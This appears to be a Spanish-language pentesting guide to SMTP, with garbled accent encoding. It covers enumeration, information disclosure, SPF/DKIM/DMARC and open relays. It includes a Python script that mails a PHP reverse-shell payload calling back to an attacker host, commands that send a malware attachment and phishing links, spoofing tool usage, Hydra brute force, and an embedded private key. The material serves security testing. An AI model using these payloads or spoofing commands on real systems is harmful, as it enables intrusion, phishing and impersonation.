25,465,587 - Pentesting SMTP/s

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Informaci贸n B谩sica

El Protocolo Simple de Transferencia de Correo (SMTP) es un protocolo utilizado dentro de la suite TCP/IP para el env铆o y recepci贸n de correos electr贸nicos. Debido a sus limitaciones en la cola de mensajes en el extremo del destinatario, SMTP se emplea a menudo junto con POP3 o IMAP. Estos protocolos adicionales permiten a los usuarios almacenar mensajes en un buz贸n de servidor y descargarlos peri贸dicamente.

En la pr谩ctica, es com煤n que los programas de correo electr贸nico utilicen SMTP para enviar correos electr贸nicos, mientras que utilizan POP3 o IMAP para recibirlos. En sistemas basados en Unix, sendmail se destaca como el servidor SMTP m谩s utilizado para fines de correo electr贸nico. El paquete comercial conocido como Sendmail abarca un servidor POP3. Adem谩s, Microsoft Exchange proporciona un servidor SMTP y ofrece la opci贸n de incluir soporte para POP3.

Puerto por defecto: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Si tienes la oportunidad de hacer que la v铆ctima te env铆e un correo electr贸nico (a trav茅s del formulario de contacto de la p谩gina web, por ejemplo), hazlo porque podr铆as aprender sobre la topolog铆a interna de la v铆ctima viendo los encabezados del correo.

Tambi茅n puedes obtener un correo electr贸nico de un servidor SMTP intentando enviar a ese servidor un correo a una direcci贸n no existente (porque el servidor enviar谩 al atacante un correo NDN). Pero, aseg煤rate de que env铆as el correo desde una direcci贸n permitida (verifica la pol铆tica SPF) y que puedes recibir mensajes NDN.

Tambi茅n deber铆as intentar enviar diferentes contenidos porque puedes encontrar informaci贸n m谩s interesante en los encabezados como: X-Virus-Scanned: by av.domain.com
Deber铆as enviar el archivo de prueba EICAR.
Detectar el AV puede permitirte explotar vulnerabilidades conocidas.

Basic actions

SMTP:

bash
nc -vn <IP> 25

SMTPS:

bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrar servidores MX de una organizaci贸n

bash
dig +short mx google.com

Enumeraci贸n

bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgaci贸n de informaci贸n

Si el servidor admite autenticaci贸n NTLM (Windows), puedes obtener informaci贸n sensible (versiones). M谩s informaci贸n aqu铆.

bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

O automate esto con el nmap plugin smtp-ntlm-info.nse

Nombre del servidor interno - Divulgaci贸n de informaci贸n

Algunos servidores SMTP completan autom谩ticamente la direcci贸n de un remitente cuando se emite el comando "MAIL FROM" sin una direcci贸n completa, revelando su nombre interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifica si puedes capturar alguna contrase帽a de los paquetes al puerto 25

Auth bruteforce

Enumeraci贸n de Bruteforce de Nombre de Usuario

La autenticaci贸n no siempre es necesaria

RCPT TO

bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Herramientas autom谩ticas

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Informes DSN

Informes de Notificaci贸n de Estado de Entrega: Si env铆as un correo electr贸nico a una organizaci贸n a una direcci贸n inv谩lida, la organizaci贸n te notificar谩 que la direcci贸n era inv谩lida enviando un correo de vuelta a ti. Los encabezados del correo electr贸nico devuelto contendr谩n posible informaci贸n sensible (como la direcci贸n IP de los servicios de correo que interactuaron con los informes o informaci贸n del software antivirus).

Comandos

Enviando un Correo Electr贸nico desde la consola de linux

bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviando un correo electr贸nico con Python

C贸digo de Python aqu铆
python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

La vulnerabilidad de SMTP Smuggling permiti贸 eludir todas las protecciones de SMTP (consulta la siguiente secci贸n para m谩s informaci贸n sobre las protecciones). Para m谩s informaci贸n sobre SMTP Smuggling consulta:

SMTP Smuggling

Contramedidas de Suplantaci贸n de Correo

Las organizaciones se ven impedidas de tener correos electr贸nicos no autorizados enviados en su nombre al emplear SPF, DKIM y DMARC debido a la facilidad de suplantar mensajes SMTP.

Una gu铆a completa sobre estas contramedidas est谩 disponible en https://seanthegeek.net/459/demystifying-dmarc/.

SPF

caution

SPF fue "deprecado" en 2014. Esto significa que en lugar de crear un registro TXT en _spf.domain.com, lo creas en domain.com usando la misma sintaxis.
Adem谩s, para reutilizar registros SPF anteriores, es bastante com煤n encontrar algo como "v=spf1 include:_spf.google.com ~all"

Sender Policy Framework (SPF) es un mecanismo que permite a los Agentes de Transferencia de Correo (MTAs) verificar si un host que env铆a un correo electr贸nico est谩 autorizado consultando una lista de servidores de correo autorizados definidos por las organizaciones. Esta lista, que especifica direcciones/rangos IP, dominios y otras entidades autorizadas para enviar correos electr贸nicos en nombre de un nombre de dominio, incluye varios "Mecanismos" en el registro SPF.

Mecanismos

De Wikipedia:

MecanismoDescripci贸n
ALLCoincide siempre; se usa para un resultado predeterminado como -all para todas las IPs no coincidentes con mecanismos anteriores.
ASi el nombre de dominio tiene un registro de direcci贸n (A o AAAA) que puede resolverse a la direcci贸n del remitente, coincidir谩.
IP4Si el remitente est谩 en un rango de direcciones IPv4 dado, coincide.
IP6Si el remitente est谩 en un rango de direcciones IPv6 dado, coincide.
MXSi el nombre de dominio tiene un registro MX que resuelve a la direcci贸n del remitente, coincidir谩 (es decir, el correo proviene de uno de los servidores de correo entrante del dominio).
PTRSi el nombre de dominio (registro PTR) para la direcci贸n del cliente est谩 en el dominio dado y ese nombre de dominio se resuelve a la direcci贸n del cliente (DNS inverso confirmado por adelantado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible.
EXISTSSi el nombre de dominio dado se resuelve a cualquier direcci贸n, coincide (sin importar la direcci贸n a la que se resuelva). Esto se usa raramente. Junto con el lenguaje de macros SPF, ofrece coincidencias m谩s complejas como consultas DNSBL.
INCLUDEHace referencia a la pol铆tica de otro dominio. Si la pol铆tica de ese dominio pasa, este mecanismo pasa. Sin embargo, si la pol铆tica incluida falla, el procesamiento contin煤a. Para delegar completamente a la pol铆tica de otro dominio, se debe usar la extensi贸n de redirecci贸n.
REDIRECT

Una redirecci贸n es un puntero a otro nombre de dominio que alberga una pol铆tica SPF, permite que m煤ltiples dominios compartan la misma pol铆tica SPF. Es 煤til cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electr贸nico.

Se utilizar谩 la pol铆tica SPF del dominio indicado en el mecanismo de redirecci贸n.

Tambi茅n es posible identificar Calificadores que indican qu茅 se debe hacer si se coincide con un mecanismo. Por defecto, se utiliza el calificador "+" (por lo que si se coincide con alg煤n mecanismo, eso significa que est谩 permitido).
Normalmente notar谩s al final de cada pol铆tica SPF algo como: ~all o -all. Esto se usa para indicar que si el remitente no coincide con ninguna pol铆tica SPF, debes etiquetar el correo electr贸nico como no confiable (~) o rechazar (-) el correo electr贸nico.

Calificadores

Cada mecanismo dentro de la pol铆tica puede ser precedido por uno de cuatro calificadores para definir el resultado previsto:

  • +: Corresponde a un resultado de PASS. Por defecto, los mecanismos asumen este calificador, haciendo que +mx sea equivalente a mx.
  • ?: Representa un resultado NEUTRAL, tratado de manera similar a NONE (sin pol铆tica espec铆fica).
  • ~: Denota SOFTFAIL, sirviendo como un t茅rmino medio entre NEUTRAL y FAIL. Los correos electr贸nicos que cumplen con este resultado son t铆picamente aceptados pero marcados en consecuencia.
  • -: Indica FAIL, sugiriendo que el correo electr贸nico debe ser rechazado de inmediato.

En el pr贸ximo ejemplo, se ilustra la pol铆tica SPF de google.com. Nota la inclusi贸n de pol铆ticas SPF de diferentes dominios dentro de la primera pol铆tica SPF:

shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalmente, era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o ninguno. Hoy en d铆a, si el correo electr贸nico proviene de un dominio sin un registro SPF v谩lido, probablemente ser谩 rechazado/marcado como no confiable autom谩ticamente.

Para verificar el SPF de un dominio, puedes usar herramientas en l铆nea como: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM se utiliza para firmar correos electr贸nicos salientes, permitiendo su validaci贸n por agentes de transferencia de correo (MTAs) externos a trav茅s de la recuperaci贸n de la clave p煤blica del dominio desde DNS. Esta clave p煤blica se encuentra en el registro TXT de un dominio. Para acceder a esta clave, se debe conocer tanto el selector como el nombre del dominio.

Por ejemplo, para solicitar la clave, el nombre del dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo DKIM-Signature, p. ej., d=gmail.com;s=20120113.

Un comando para obtener esta informaci贸n podr铆a verse as铆:

bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Autenticaci贸n, Informes y Conformidad Basada en Dominio)

DMARC mejora la seguridad del correo electr贸nico al basarse en los protocolos SPF y DKIM. Establece pol铆ticas que gu铆an a los servidores de correo en el manejo de correos electr贸nicos de un dominio espec铆fico, incluyendo c贸mo tratar los fallos de autenticaci贸n y d贸nde enviar informes sobre las acciones de procesamiento de correos electr贸nicos.

Para obtener el registro DMARC, necesitas consultar el subdominio _dmarc

bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Etiquetas DMARC

Nombre de etiquetaProp贸sitoEjemplo
vVersi贸n del protocolov=DMARC1
pctPorcentaje de mensajes sujetos a filtradopct=20
rufURI de informes para informes forensesruf=mailto:authfail@example.com
ruaURI de informes de informes agregadosrua=mailto:aggrep@example.com
pPol铆tica para el dominio organizacionalp=quarantine
spPol铆tica para subdominios del ODsp=reject
adkimModo de alineaci贸n para DKIMadkim=s
aspfModo de alineaci贸n para SPFaspf=r

驴Qu茅 pasa con los Subdominios?

Desde aqu铆.
Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correo.
Lo siguiente fue publicado originalmente en openspf.org, que sol铆a ser un gran recurso para este tipo de cosas.

La Pregunta Demon铆aca: 驴Qu茅 pasa con los subdominios?

Si recibo correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, 驴deber铆a retroceder un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podr铆a tener su propia pol铆tica. No tendr铆a sentido que la pol铆tica de Demon se aplicara a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.

As铆 que el consejo para los editores de SPF es este: deber铆as agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.

Los sitios con registros A o MX comod铆n tambi茅n deber铆an tener un registro SPF comod铆n, de la forma: * IN TXT "v=spf1 -all"

Esto tiene sentido: un subdominio puede estar en una ubicaci贸n geogr谩fica diferente y tener una definici贸n SPF muy diferente.

Relay Abierto

Cuando se env铆an correos electr贸nicos, asegurar que no sean marcados como spam es crucial. Esto se logra a menudo mediante el uso de un servidor de relay que es confiable para el destinatario. Sin embargo, un desaf铆o com煤n es que los administradores pueden no estar completamente conscientes de qu茅 rangos de IP son seguros para permitir. Esta falta de comprensi贸n puede llevar a errores en la configuraci贸n del servidor SMTP, un riesgo que se identifica con frecuencia en las evaluaciones de seguridad.

Una soluci贸n alternativa que algunos administradores utilizan para evitar problemas de entrega de correo, especialmente en lo que respecta a las comunicaciones con clientes potenciales o en curso, es permitir conexiones desde cualquier direcci贸n IP. Esto se hace configurando el par谩metro mynetworks del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuaci贸n:

bash
mynetworks = 0.0.0.0/0

Para verificar si un servidor de correo es un relay abierto (lo que significa que podr铆a reenviar correos electr贸nicos de cualquier fuente externa), se utiliza com煤nmente la herramienta nmap. Incluye un script espec铆fico dise帽ado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con IP 10.10.10.10) en el puerto 25 usando nmap es:

bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Herramientas

Enviar correo electr贸nico falso

O tambi茅n podr铆as usar una herramienta:

bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

warning

Si obtienes alg煤n error al usar la biblioteca dkim de python al analizar la clave, si茅ntete libre de usar la siguiente.
NOTA: Esta es solo una soluci贸n r谩pida para hacer verificaciones r谩pidas en casos donde por alguna raz贸n la clave privada de openssl no puede ser analizada por dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

O podr铆as hacerlo manualmente:

# Esto enviar谩 un mensaje sin firmar
mail("your_email@gmail.com", "Asunto de Prueba!", "隆hey! Esto es una prueba", "From: administrator@victim.com");

M谩s informaci贸n

Encuentra m谩s informaci贸n sobre estas protecciones en https://seanthegeek.net/459/demystifying-dmarc/

Otros indicadores de phishing

  • Edad del dominio
  • Enlaces que apuntan a direcciones IP
  • T茅cnicas de manipulaci贸n de enlaces
  • Archivos adjuntos sospechosos (poco comunes)
  • Contenido de correo electr贸nico roto
  • Valores utilizados que son diferentes a los de los encabezados del correo
  • Existencia de un certificado SSL v谩lido y de confianza
  • Env铆o de la p谩gina a sitios de filtrado de contenido web

Exfiltraci贸n a trav茅s de SMTP

Si puedes enviar datos a trav茅s de SMTP lee esto.

Archivo de configuraci贸n

Postfix

Por lo general, si est谩 instalado, en /etc/postfix/master.cf contiene scripts para ejecutar cuando, por ejemplo, se recibe un nuevo correo por un usuario. Por ejemplo, la l铆nea flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering se ejecutar谩 si se recibe un nuevo correo por el usuario mark.

Otros archivos de configuraci贸n:

sendmail.cf
submit.cf

Referencias

Comandos Autom谩ticos de HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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